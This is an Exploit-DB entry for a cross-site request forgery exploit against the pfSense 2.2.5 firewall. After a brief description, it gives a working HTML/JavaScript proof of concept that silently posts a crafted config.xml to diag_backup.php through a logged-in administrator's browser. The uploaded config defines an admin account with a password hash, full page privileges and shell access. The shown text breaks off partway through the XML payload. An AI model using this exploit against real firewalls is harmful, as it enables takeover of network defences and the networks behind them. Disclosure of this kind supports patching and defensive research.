Exploit-DB #39306
Description: pfSense Firewall 2.2.5 - Config File Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-01-25
Author: Aatif Shahdad

Exploit:
<!--
# Exploit Title: pfSense Firewall 2.2.5 Cross-Site Request Forgery 
# Date: 23-01-2016
# Software Link: http://mirror.ancl.hawaii.edu/pub/pfSense/downloads/pfSense-2.2.5-RELEASE-1g-amd64-nanobsd.img.gz
# Exploit Author: Aatif Shahdad
# Twitter: https://twitter.com/[PII_REDACTED]5f736
# Contact: aatif_shahdad@icloud.com
# Category: webapps
 
1. Description
   
The page diag_backup.php had CSRF checking disabled for all functions, including the restore function. As a result, a specially crafted attacker page could cause
a logged-in administrator to upload a config.xml crafted by the attacker.
   
2. Proof of Concept
 
Login as admin to the Web Console at http://192.168.0.103 (set at the time on install). Open the following Proof-Of-Concept with the browser that you used to log in to the Firewall.

POC to upload crafted config.xml:

--POC begins--

-->

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://192.168.0.103/diag_backup.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]92650152");
        xhr.withCredentials = true;
        var body = "----------------------------[PII_REDACTED][PII_REDACTED]92650152\r\n" + 
          "Content-Disposition: form-data; name=\"backuparea\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]92650152\r\n" + 
          "Content-Disposition: form-data; name=\"donotbackuprrd\"\r\n" + 
          "\r\n" + 
          "on\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]92650152\r\n" + 
          "Content-Disposition: form-data; name=\"encrypt_password\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]92650152\r\n" + 
          "Content-Disposition: form-data; name=\"encrypt_passconf\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]92650152\r\n" + 
          "Content-Disposition: form-data; name=\"restorearea\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]92650152\r\n" + 
          "Content-Disposition: form-data; name=\"conffile\"; filename=\"config-pfSense.localdomain[PII_REDACTED]3616.xml\"\r\n" + 
          "Content-Type: text/xml\r\n" + 
          "\r\n" + 
          "\x3c?xml version=\"1.0\"?\x3e\n" + 
          "\x3cpfsense\x3e\n" + 
          "\t\x3cversion\x3e12.0\x3c/version\x3e\n" + 
          "\t\x3clastchange/\x3e\n" + 
          "\t\x3ctheme\x3epfsense_ng\x3c/theme\x3e\n" + 
          "\t\x3csystem\x3e\n" + 
          "\t\t\x3coptimization\x3enormal\x3c/optimization\x3e\n" + 
          "\t\t\x3chostname\x3epfSense\x3c/hostname\x3e\n" + 
          "\t\t\x3cdomain\x3elocaldomain\x3c/domain\x3e\n" + 
          "\t\t\x3cgroup\x3e\n" + 
          "\t\t\t\x3cname\x3eall\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescription\x3e\x3c![CDATA[All Users]]\x3e\x3c/description\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgid\x3e1998\x3c/gid\x3e\n" + 
          "\t\t\t\x3cmember\x3e0\x3c/member\x3e\n" + 
          "\t\t\x3c/group\x3e\n" + 
          "\t\t\x3cgroup\x3e\n" + 
          "\t\t\t\x3cname\x3eadmins\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescription\x3e\x3c![CDATA[System Administrators]]\x3e\x3c/description\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgid\x3e1999\x3c/gid\x3e\n" + 
          "\t\t\t\x3cmember\x3e0\x3c/member\x3e\n" + 
          "\t\t\t\x3cpriv\x3epage-all\x3c/priv\x3e\n" + 
          "\t\t\x3c/group\x3e\n" + 
          "\t\t\x3cuser\x3e\n" + 
          "\t\t\t\x3cname\x3eadmin\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[System Administrator]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgroupname\x3eadmins\x3c/groupname\x3e\n" + 
          "\t\t\t\x3cpassword\x3e$1$HuUrmCMQ$HcpUfJ7bi2kDoPmwaW5Hf.\x3c/password\x3e\n" + 
          "\t\t\t\x3cuid\x3e0\x3c/uid\x3e\n" + 
          "\t\t\t\x3cpriv\x3euser-shell-access\x3c/priv\x3e\n" + 
          "\t\t\t\x3cmd5-hash\x3e3a4b4c4dde494d2cec3e0ea68e437e17\x3c/md5-hash\x3e\n" + 
          "\t\t\t\x3cnt-hash\x3e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]3636\x3c/nt-hash\x3e\n" + 
          "\t\t\x3c/user\x3e\n" + 
          "\t\t\x3cnextuid\x3e2000\x3c/nextuid\x3e\n" + 
          "\t\t\x3cnextgid\x3e2000\x3c/nextgid\x3e\n" + 
          "\t\t\x3ctimezone\x3eEtc/UTC\x3c/timezone\x3e\n" + 
          "\t\t\x3ctime-update-interval/\x3e\n" + 
          "\t\t\x3ctimeservers\x3e0.pfsense.pool.ntp.org\x3c/timeservers\x3e\n" + 
          "\t\t\x3cwebgui\x3e\n" + 
          "\t\t\t\x3cprotocol\x3ehttps\x3c/protocol\x3e\n" + 
          "\t\t\t\x3cloginautocomplete/\x3e\n" + 
          "\t\t\t\x3cssl-certref\x3e56a352ca3e5fb\x3c/ssl-certref\x3e\n" + 
          "\t\t\x3c/webgui\x3e\n" + 
          "\t\t\x3cdisablenatreflection\x3eyes\x3c/disablenatreflection\x3e\n" + 
          "\t\t\x3cdisablesegmentationoffloading/\x3e\n" + 
          "\t\t\x3cdisablelargereceiveoffloading/\x3e\n" + 
          "\t\t\x3cipv6allow/\x3e\n" + 
          "\t\t\x3cpowerd_ac_mode\x3ehadp\x3c/powerd_ac_mode\x3e\n" + 
          "\t\t\x3cpowerd_battery_mode\x3ehadp\x3c/powerd_battery_mode\x3e\n" + 
          "\t\t\x3cpowerd_normal_mode\x3ehadp\x3c/powerd_normal_mode\x3e\n" + 
          "\t\t\x3cbogons\x3e\n" + 
          "\t\t\t\x3cinterval\x3emonthly\x3c/interval\x3e\n" + 
          "\t\t\x3c/bogons\x3e\n" + 
          "\t\t\x3ckill_states/\x3e\n" +